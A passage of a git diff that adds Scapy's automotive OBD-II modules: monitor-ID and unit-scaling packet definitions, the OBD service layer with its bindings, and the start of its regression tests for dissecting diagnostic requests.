fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x1E), + (ScalingField(name, 0, scaling=0.05, fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x1F), + (ScalingField(name, 0, scaling=0.0039062, fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x20), + (ScalingField(name, 0, scaling=1, unit="mHz", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x21), + (ScalingField(name, 0, scaling=1, unit="Hz", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x22), + (ScalingField(name, 0, scaling=1, unit="KHz", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x23), + (ScalingField(name, 0, scaling=1, unit="counts", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x24), + (ScalingField(name, 0, scaling=1, unit="km", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x25), + (ScalingField(name, 0, scaling=0.1, unit="mV/ms", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x26), + (ScalingField(name, 0, scaling=0.01, unit="g/s", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x27), + (ScalingField(name, 0, scaling=1, unit="g/s", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x28), + (ScalingField(name, 0, scaling=0.25, unit="Pa/s", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x29), + (ScalingField(name, 0, scaling=0.001, unit="kg/h", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x2A), + (ScalingField(name, 0, scaling=1, unit="switches", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x2B), + (ScalingField(name, 0, scaling=0.01, unit="g/cyl", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x2C), + (ScalingField(name, 0, scaling=0.01, unit="mg/stroke", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x2D), + (ShortEnumField(name, 0, {0: "false", 1: "true"}), + lambda pkt: pkt.unit_and_scaling_id == 0x2E), + (ScalingField(name, 0, scaling=0.01, unit="%", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x2F), + (ScalingField(name, 0, scaling=0.001526, unit="%", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x30), + (ScalingField(name, 0, scaling=0.001, unit="L", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x31), + (ScalingField(name, 0, scaling=0.0000305, unit="inch", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x32), + (ScalingField(name, 0, scaling=0.00024414, fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x33), + (ScalingField(name, 0, scaling=1, unit="min", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x34), + (ScalingField(name, 0, scaling=10, unit="ms", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x35), + (ScalingField(name, 0, scaling=0.01, unit="g", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x36), + (ScalingField(name, 0, scaling=0.1, unit="g", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x37), + (ScalingField(name, 0, scaling=1, unit="g", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x38), + (ScalingField(name, 0, scaling=0.01, unit="%", offset=-327.68, + fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x39), + (ScalingField(name, 0, scaling=1, fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x81), + (ScalingField(name, 0, scaling=0.1, fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x82), + (ScalingField(name, 0, scaling=0.01, fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x83), + (ScalingField(name, 0, scaling=0.001, fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x84), + (ScalingField(name, 0, scaling=0.0000305, fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x85), + (ScalingField(name, 0, scaling=0.000305, fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x86), + (ScalingField(name, 0, scaling=0.122, unit="mV", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x8A), + (ScalingField(name, 0, scaling=0.001, unit="V", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x8B), + (ScalingField(name, 0, scaling=0.01, unit="V", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x8C), + (ScalingField(name, 0, scaling=0.00390625, unit="mA", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x8D), + (ScalingField(name, 0, scaling=0.001, unit="A", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x8E), + (ScalingField(name, 0, scaling=1, unit="ms", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x90), + (ScalingField(name, 0, scaling=0.1, unit="deg. C", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x96), + (ScalingField(name, 0, scaling=0.01, unit="deg.", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x9C), + (ScalingField(name, 0, scaling=0.5, unit="deg.", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0x9D), + (ScalingField(name, 0, scaling=1, unit="g/s", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0xA8), + (ScalingField(name, 0, scaling=0.25, unit="Pa/s", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0xA9), + (ScalingField(name, 0, scaling=0.01, unit="%", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0xAF), + (ScalingField(name, 0, scaling=0.003052, unit="%", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0xB0), + (ScalingField(name, 0, scaling=2, unit="mV/s", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0xB1), + (ScalingField(name, 0, scaling=0.001, unit="kPa", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0xFD), + (ScalingField(name, 0, scaling=0.25, unit="Pa", fmt='h'), + lambda pkt: pkt.unit_and_scaling_id == 0xFE) + ] + + +def _mid_flags(basemid): + return [ + 'MID%02X' % (basemid + 0x20), + 'MID%02X' % (basemid + 0x1F), + 'MID%02X' % (basemid + 0x1E), + 'MID%02X' % (basemid + 0x1D), + 'MID%02X' % (basemid + 0x1C), + 'MID%02X' % (basemid + 0x1B), + 'MID%02X' % (basemid + 0x1A), + 'MID%02X' % (basemid + 0x19), + 'MID%02X' % (basemid + 0x18), + 'MID%02X' % (basemid + 0x17), + 'MID%02X' % (basemid + 0x16), + 'MID%02X' % (basemid + 0x15), + 'MID%02X' % (basemid + 0x14), + 'MID%02X' % (basemid + 0x13), + 'MID%02X' % (basemid + 0x12), + 'MID%02X' % (basemid + 0x11), + 'MID%02X' % (basemid + 0x10), + 'MID%02X' % (basemid + 0x0F), + 'MID%02X' % (basemid + 0x0E), + 'MID%02X' % (basemid + 0x0D), + 'MID%02X' % (basemid + 0x0C), + 'MID%02X' % (basemid + 0x0B), + 'MID%02X' % (basemid + 0x0A), + 'MID%02X' % (basemid + 0x09), + 'MID%02X' % (basemid + 0x08), + 'MID%02X' % (basemid + 0x07), + 'MID%02X' % (basemid + 0x06), + 'MID%02X' % (basemid + 0x05), + 'MID%02X' % (basemid + 0x04), + 'MID%02X' % (basemid + 0x03), + 'MID%02X' % (basemid + 0x02), + 'MID%02X' % (basemid + 0x01) + ] + + +class OBD_MIDXX(OBD_Packet): + standardized_test_ids = { + 1: "TID_01_RichToLeanSensorThresholdVoltage", + 2: "TID_02_LeanToRichSensorThresholdVoltage", + 3: "TID_03_LowSensorVoltageForSwitchTimeCalculation", + 4: "TID_04_HighSensorVoltageForSwitchTimeCalculation", + 5: "TID_05_RichToLeanSensorSwitchTime", + 6: "TID_06_LeanToRichSensorSwitchTime", + 7: "TID_07_MinimumSensorVoltageForTestCycle", + 8: "TID_08_MaximumSensorVoltageForTestCycle", + 9: "TID_09_TimeBetweenSensorTransitions", + 10: "TID_0A_SensorPeriod"} + unit_and_scaling_ids = { + 0x01: "Raw Value", + 0x02: "Raw Value", + 0x03: "Raw Value", + 0x04: "Raw Value", + 0x05: "Raw Value", + 0x06: "Raw Value", + 0x07: "rotational frequency", + 0x08: "Speed", + 0x09: "Speed", + 0x0A: "Voltage", + 0x0B: "Voltage", + 0x0C: "Voltage", + 0x0D: "Current", + 0x0E: "Current", + 0x0F: "Current", + 0x10: "Time", + 0x11: "Time", + 0x12: "Time", + 0x13: "Resistance", + 0x14: "Resistance", + 0x15: "Resistance", + 0x16: "Temperature", + 0x17: "Pressure (Gauge)", + 0x18: "Pressure (Air pressure)", + 0x19: "Pressure (Fuel pressure)", + 0x1A: "Pressure (Gauge)", + 0x1B: "Pressure (Diesel pressure)", + 0x1C: "Angle", + 0x1D: "Angle", + 0x1E: "Equivalence ratio (lambda)", + 0x1F: "Air/Fuel ratio", + 0x20: "Ratio", + 0x21: "Frequency", + 0x22: "Frequency", + 0x23: "Frequency", + 0x24: "Counts", + 0x25: "Distance", + 0x26: "Voltage per time", + 0x27: "Mass per time", + 0x28: "Mass per time", + 0x29: "Pressure per time", + 0x2A: "Mass per time", + 0x2B: "Switches", + 0x2C: "Mass per cylinder", + 0x2D: "Mass per stroke", + 0x2E: "True/False", + 0x2F: "Percent", + 0x30: "Percent", + 0x31: "volume", + 0x32: "length", + 0x33: "Equivalence ratio (lambda)", + 0x34: "Time", + 0x35: "Time", + 0x36: "Weight", + 0x37: "Weight", + 0x38: "Weight", + 0x39: "Percent", + 0x81: "Raw Value", + 0x82: "Raw Value", + 0x83: "Raw Value", + 0x84: "Raw Value", + 0x85: "Raw Value", + 0x86: "Raw Value", + 0x8A: "Voltage", + 0x8B: "Voltage", + 0x8C: "Voltage", + 0x8D: "Current", + 0x8E: "Current", + 0x90: "Time", + 0x96: "Temperature", + 0x9C: "Angle", + 0x9D: "Angle", + 0xA8: "Mass per time", + 0xA9: "Pressure per time", + 0xAF: "Percent", + 0xB0: "Percent", + 0xB1: "Voltage per time", + 0xFD: "Pressure", + 0xFE: "Pressure" + } + + name = "OBD MID data record" + fields_desc = [ + ByteEnumField("standardized_test_id", 1, standardized_test_ids), + ByteEnumField("unit_and_scaling_id", 1, unit_and_scaling_ids), + MultipleTypeField(_unit_and_scaling_fields("test_value"), + ShortField("test_value", 0)), + MultipleTypeField(_unit_and_scaling_fields("min_limit"), + ShortField("min_limit", 0)), + MultipleTypeField(_unit_and_scaling_fields("max_limit"), + ShortField("max_limit", 0)), + ] + + +class OBD_MID00(OBD_Packet): + fields_desc = [ + FlagsField('supported_mids', 0, 32, _mid_flags(0x00)), + ] + + +class OBD_MID20(OBD_Packet): + fields_desc = [ + FlagsField('supported_mids', 0, 32, _mid_flags(0x20)), + ] + + +class OBD_MID40(OBD_Packet): + fields_desc = [ + FlagsField('supported_mids', 0, 32, _mid_flags(0x40)), + ] + + +class OBD_MID60(OBD_Packet): + fields_desc = [ + FlagsField('supported_mids', 0, 32, _mid_flags(0x60)), + ] + + +class OBD_MID80(OBD_Packet): + fields_desc = [ + FlagsField('supported_mids', 0, 32, _mid_flags(0x80)), + ] + + +class OBD_MIDA0(OBD_Packet): + fields_desc = [ + FlagsField('supported_mids', 0, 32, _mid_flags(0xA0)), + ] + + +class OBD_S06_PR_Record(Packet): + on_board_monitoring_ids = { + 0x00: "OBD Monitor IDs supported ($01 - $20)", + 0x01: "Oxygen Sensor Monitor Bank 1 - Sensor 1", + 0x02: "Oxygen Sensor Monitor Bank 1 - Sensor 2", + 0x03: "Oxygen Sensor Monitor Bank 1 - Sensor 3", + 0x04: "Oxygen Sensor Monitor Bank 1 - Sensor 4", + 0x05: "Oxygen Sensor Monitor Bank 2 - Sensor 1", + 0x06: "Oxygen Sensor Monitor Bank 2 - Sensor 2", + 0x07: "Oxygen Sensor Monitor Bank 2 - Sensor 3", + 0x08: "Oxygen Sensor Monitor Bank 2 - Sensor 4", + 0x09: "Oxygen Sensor Monitor Bank 3 - Sensor 1", + 0x0A: "Oxygen Sensor Monitor Bank 3 - Sensor 2", + 0x0B: "Oxygen Sensor Monitor Bank 3 - Sensor 3", + 0x0C: "Oxygen Sensor Monitor Bank 3 - Sensor 4", + 0x0D: "Oxygen Sensor Monitor Bank 4 - Sensor 1", + 0x0E: "Oxygen Sensor Monitor Bank 4 - Sensor 2", + 0x0F: "Oxygen Sensor Monitor Bank 4 - Sensor 3", + 0x10: "Oxygen Sensor Monitor Bank 4 - Sensor 4", + 0x20: "OBD Monitor IDs supported ($21 - $40)", + 0x21: "Catalyst Monitor Bank 1", + 0x22: "Catalyst Monitor Bank 2", + 0x23: "Catalyst Monitor Bank 3", + 0x24: "Catalyst Monitor Bank 4", + 0x32: "EGR Monitor Bank 2", + 0x33: "EGR Monitor Bank 3", + 0x34: "EGR Monitor Bank 4", + 0x35: "VVT Monitor Bank 1", + 0x36: "VVT Monitor Bank 2", + 0x37: "VVT Monitor Bank 3", + 0x38: "VVT Monitor Bank 4", + 0x39: "EVAP Monitor (Cap Off / 0.150\")", + 0x3A: "EVAP Monitor (0.090\")", + 0x3B: "EVAP Monitor (0.040\")", + 0x3C: "EVAP Monitor (0.020\")", + 0x3D: "Purge Flow Monitor", + 0x40: "OBD Monitor IDs supported ($41 - $60)", + 0x41: "Oxygen Sensor Heater Monitor Bank 1 - Sensor 1", + 0x42: "Oxygen Sensor Heater Monitor Bank 1 - Sensor 2", + 0x43: "Oxygen Sensor Heater Monitor Bank 1 - Sensor 3", + 0x44: "Oxygen Sensor Heater Monitor Bank 1 - Sensor 4", + 0x45: "Oxygen Sensor Heater Monitor Bank 2 - Sensor 1", + 0x46: "Oxygen Sensor Heater Monitor Bank 2 - Sensor 2", + 0x47: "Oxygen Sensor Heater Monitor Bank 2 - Sensor 3", + 0x48: "Oxygen Sensor Heater Monitor Bank 2 - Sensor 4", + 0x49: "Oxygen Sensor Heater Monitor Bank 3 - Sensor 1", + 0x4A: "Oxygen Sensor Heater Monitor Bank 3 - Sensor 2", + 0x4B: "Oxygen Sensor Heater Monitor Bank 3 - Sensor 3", + 0x4C: "Oxygen Sensor Heater Monitor Bank 3 - Sensor 4", + 0x4D: "Oxygen Sensor Heater Monitor Bank 4 - Sensor 1", + 0x4E: "Oxygen Sensor Heater Monitor Bank 4 - Sensor 2", + 0x4F: "Oxygen Sensor Heater Monitor Bank 4 - Sensor 3", + 0x50: "Oxygen Sensor Heater Monitor Bank 4 - Sensor 4", + 0x60: "OBD Monitor IDs supported ($61 - $80)", + 0x61: "Heated Catalyst Monitor Bank 1", + 0x62: "Heated Catalyst Monitor Bank 2", + 0x63: "Heated Catalyst Monitor Bank 3", + 0x64: "Heated Catalyst Monitor Bank 4", + 0x71: "Secondary Air Monitor 1", + 0x72: "Secondary Air Monitor 2", + 0x73: "Secondary Air Monitor 3", + 0x74: "Secondary Air Monitor 4", + 0x80: "OBD Monitor IDs supported ($81 - $A0)", + 0x81: "Fuel System Monitor Bank 1", + 0x82: "Fuel System Monitor Bank 2", + 0x83: "Fuel System Monitor Bank 3", + 0x84: "Fuel System Monitor Bank 4", + 0x85: "Boost Pressure Control Monitor Bank 1", + 0x86: "Boost Pressure Control Monitor Bank 2", + 0x90: "NOx Adsorber Monitor Bank 1", + 0x91: "NOx Adsorber Monitor Bank 2", + 0x98: "NOx Catalyst Monitor Bank 1", + 0x99: "NOx Catalyst Monitor Bank 2", + 0xA0: "OBD Monitor IDs supported ($A1 - $C0)", + 0xA1: "Misfire Monitor General Data", + 0xA2: "Misfire Cylinder 1 Data", + 0xA3: "Misfire Cylinder 2 Data", + 0xA4: "Misfire Cylinder 3 Data", + 0xA5: "Misfire Cylinder 4 Data", + 0xA6: "Misfire Cylinder 5 Data", + 0xA7: "Misfire Cylinder 6 Data", + 0xA8: "Misfire Cylinder 7 Data", + 0xA9: "Misfire Cylinder 8 Data", + 0xAA: "Misfire Cylinder 9 Data", + 0xAB: "Misfire Cylinder 10 Data", + 0xAC: "Misfire Cylinder 11 Data", + 0xAD: "Misfire Cylinder 12 Data", + 0xB0: "PM Filter Monitor Bank 1", + 0xB1: "PM Filter Monitor Bank 2" + } + name = "On-Board diagnostic monitoring ID" + fields_desc = [ + ByteEnumField("mid", 0, on_board_monitoring_ids), + ] + + +class OBD_S06_PR(Packet): + name = "On-Board monitoring IDs" + fields_desc = [ + PacketListField("data_records", [], OBD_S06_PR_Record) + ] + + def answers(self, other): + return other.__class__ == OBD_S06 \ + and all(r.mid in other.mid for r in self.data_records) + + +bind_layers(OBD_S06_PR_Record, OBD_MID00, mid=0x00) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x01) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x02) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x03) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x04) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x05) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x06) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x07) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x08) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x09) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0A) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0B) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0C) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0D) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0E) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0F) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x10) +bind_layers(OBD_S06_PR_Record, OBD_MID20, mid=0x20) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x21) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x22) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x23) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x24) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x32) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x33) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x34) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x35) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x36) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x37) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x38) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x39) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3A) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3B) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3C) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3D) +bind_layers(OBD_S06_PR_Record, OBD_MID40, mid=0x40) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x41) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x42) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x43) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x44) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x45) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x46) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x47) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x48) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x49) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4A) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4B) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4C) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4D) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4E) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4F) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x50) +bind_layers(OBD_S06_PR_Record, OBD_MID60, mid=0x60) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x61) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x62) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x63) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x64) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x71) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x72) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x73) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x74) +bind_layers(OBD_S06_PR_Record, OBD_MID80, mid=0x80) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x81) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x82) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x83) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x84) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x85) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x86) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x90) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x91) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x98) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x99) +bind_layers(OBD_S06_PR_Record, OBD_MIDA0, mid=0xA0) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA1) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA2) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA3) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA4) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA5) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA6) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA7) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA8) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA9) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAA) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAB) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAC) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAD) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xB0) +bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xB1) diff --git a/libs/scapy/contrib/automotive/obd/obd.py b/libs/scapy/contrib/automotive/obd/obd.py new file mode 100755 index 0000000..fe0a380 --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/obd.py @@ -0,0 +1,105 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.description = On Board Diagnostic Protocol (OBD-II) +# scapy.contrib.status = loads + +import struct + +from scapy.contrib.automotive.obd.iid.iids import * +from scapy.contrib.automotive.obd.mid.mids import * +from scapy.contrib.automotive.obd.pid.pids import * +from scapy.contrib.automotive.obd.tid.tids import * +from scapy.contrib.automotive.obd.services import * +from scapy.packet import bind_layers, NoPayload +from scapy.error import log_loading +from scapy.config import conf +from scapy.fields import XByteEnumField +from scapy.contrib.isotp import ISOTP + +try: + if conf.contribs['OBD']['treat-response-pending-as-answer']: + pass +except KeyError: + log_loading.info("Specify \"conf.contribs['OBD'] = " + "{'treat-response-pending-as-answer': True}\" to treat " + "a negative response 'requestCorrectlyReceived-" + "ResponsePending' as answer of a request. \n" + "The default value is False.") + conf.contribs['OBD'] = {'treat-response-pending-as-answer': False} + + +class OBD(ISOTP): + services = { + 0x01: 'CurrentPowertrainDiagnosticDataRequest', + 0x02: 'PowertrainFreezeFrameDataRequest', + 0x03: 'EmissionRelatedDiagnosticTroubleCodesRequest', + 0x04: 'ClearResetDiagnosticTroubleCodesRequest', + 0x05: 'OxygenSensorMonitoringTestResultsRequest', + 0x06: 'OnBoardMonitoringTestResultsRequest', + 0x07: 'PendingEmissionRelatedDiagnosticTroubleCodesRequest', + 0x08: 'ControlOperationRequest', + 0x09: 'VehicleInformationRequest', + 0x0A: 'PermanentDiagnosticTroubleCodesRequest', + 0x41: 'CurrentPowertrainDiagnosticDataResponse', + 0x42: 'PowertrainFreezeFrameDataResponse', + 0x43: 'EmissionRelatedDiagnosticTroubleCodesResponse', + 0x44: 'ClearResetDiagnosticTroubleCodesResponse', + 0x45: 'OxygenSensorMonitoringTestResultsResponse', + 0x46: 'OnBoardMonitoringTestResultsResponse', + 0x47: 'PendingEmissionRelatedDiagnosticTroubleCodesResponse', + 0x48: 'ControlOperationResponse', + 0x49: 'VehicleInformationResponse', + 0x4A: 'PermanentDiagnosticTroubleCodesResponse', + 0x7f: 'NegativeResponse'} + + name = "On-board diagnostics" + + fields_desc = [ + XByteEnumField('service', 0, services) + ] + + def hashret(self): + if self.service == 0x7f: + return struct.pack('B', self.request_service_id & ~0x40) + return struct.pack('B', self.service & ~0x40) + + def answers(self, other): + if other.__class__ != self.__class__: + return False + if self.service == 0x7f: + return self.payload.answers(other) + if self.service == (other.service + 0x40): + if isinstance(self.payload, NoPayload) or \ + isinstance(other.payload, NoPayload): + return True + else: + return self.payload.answers(other.payload) + return False + + +# Service Bindings + +bind_layers(OBD, OBD_S01, service=0x01) +bind_layers(OBD, OBD_S02, service=0x02) +bind_layers(OBD, OBD_S03, service=0x03) +bind_layers(OBD, OBD_S04, service=0x04) +bind_layers(OBD, OBD_S06, service=0x06) +bind_layers(OBD, OBD_S07, service=0x07) +bind_layers(OBD, OBD_S08, service=0x08) +bind_layers(OBD, OBD_S09, service=0x09) +bind_layers(OBD, OBD_S0A, service=0x0A) + +bind_layers(OBD, OBD_S01_PR, service=0x41) +bind_layers(OBD, OBD_S02_PR, service=0x42) +bind_layers(OBD, OBD_S03_PR, service=0x43) +bind_layers(OBD, OBD_S04_PR, service=0x44) +bind_layers(OBD, OBD_S06_PR, service=0x46) +bind_layers(OBD, OBD_S07_PR, service=0x47) +bind_layers(OBD, OBD_S08_PR, service=0x48) +bind_layers(OBD, OBD_S09_PR, service=0x49) +bind_layers(OBD, OBD_S0A_PR, service=0x4A) +bind_layers(OBD, OBD_NR, service=0x7F) diff --git a/libs/scapy/contrib/automotive/obd/obd.uts b/libs/scapy/contrib/automotive/obd/obd.uts new file mode 100755 index 0000000..e367911 --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/obd.uts @@ -0,0 +1,921 @@ +% Regression tests for the OBD layer + +# More information at http://www.secdev.org/projects/UTscapy/ + + +############ +############ + ++ Basic operations + += Load module + +load_contrib("automotive.obd.obd") + + += Check if positive response answers + +req = OBD(b'\x01\x2f') +res = OBD(b'\x41\x2f\x1a') +assert res.answers(req) + + += Check hashret + +assert req.hashret() == res.hashret() + += Check if negative response answers + +req = OBD(b'\x01\x2f') +res = OBD(b'\x7f\x01\x11') +assert res.answers(req) + + += Check hashret + +assert req.hashret() == res.hashret() + + += Check hashret for Service 0x40 + +req = OBD(b'\x40') +res = OBD(b'\x7F\x40\x11') +assert req.hashret() == res.hashret() + + += Check hashret for Service 0x51 + +req = OBD(b'\x51') +res = OBD(b'\x7F\x51\x11') +assert req.hashret() == res.hashret() + + += Check dissecting a request for Service 01 PID 00 + +p = OBD(b'\x01\x00') +assert p.service == 0x01 +assert p.pid[0] == 0x00 + + += Check dissecting a request for Service 01 PID 75 + +p = OBD(b'\x01\x75') +assert p.service == 0x01 +assert p.pid[0] == 0x75 + + += Check dissecting a request for Service 01 PID 78 + + +p = OBD(b'\x01\x78') +assert p.service == 0x01 +assert p.pid[0] == 0x78 + + += Check dissecting a request for Service 01 PID 7F + +p = OBD(b'\x01\x7F') +assert p.service == 0x01 +assert p.pid[0] == 0x7F + + += Check dissecting a request for Service 01 PID 89 + +p = OBD(b'\x01\x89') +assert p.service == 0x01 +assert p.pid[0] == 0x89 + + += Check dissecting a request for Service 02 PID 00 + +p = OBD(b'\x02\x00\x01') +assert p.service == 0x02 +assert p.requests[0].pid == 0x00 +assert p.requests[0].frame_no == 0x01 + + += Check dissecting a request for Service 02 PID 75 + +p = OBD(b'\x02\x75\x01') +assert p.service == 0x02 +assert p.requests[0].pid == 0x75 +assert p.requests[0].frame_no == 0x01 + + += Check dissecting a request for Service 02 PID 78 + +p = OBD(b'\x02\x78\x01') +assert p.service == 0x02 +assert p.requests[0].pid == 0x78 +assert p.requests[0].frame_no == 0x01 + + += Check dissecting a request for Service 02 PID 7F + +p = OBD(b'\x02\x7F\x01') +assert p.service == 0x02 +assert p.requests[0].pid == 0x7F +assert p.requests[0].frame_no == 0x01 + + += Check dissecting a request for Service 02 PID 89 + +p = OBD(b'\x02\x89\x01') +assert p.service == 0x02 +assert p.requests[0].pid == 0x89 +assert p.requests[0].frame_no == 0x01 + + += Check dissecting a request for Service 03 + +p = OBD(b'\x03') +assert p.service == 0x03 + + += Check dissecting a request for Service 06 + +p = OBD(b'\x06\x01') +assert p.service == 0x06 +assert p.mid[0] == 0x01 + + += Check dissecting a request for Service 06 MID 00 + +p = OBD(b'\x06\x00') +assert p.service == 0x06 +assert p.mid[0] == 0x00 + + += Check dissecting a request for 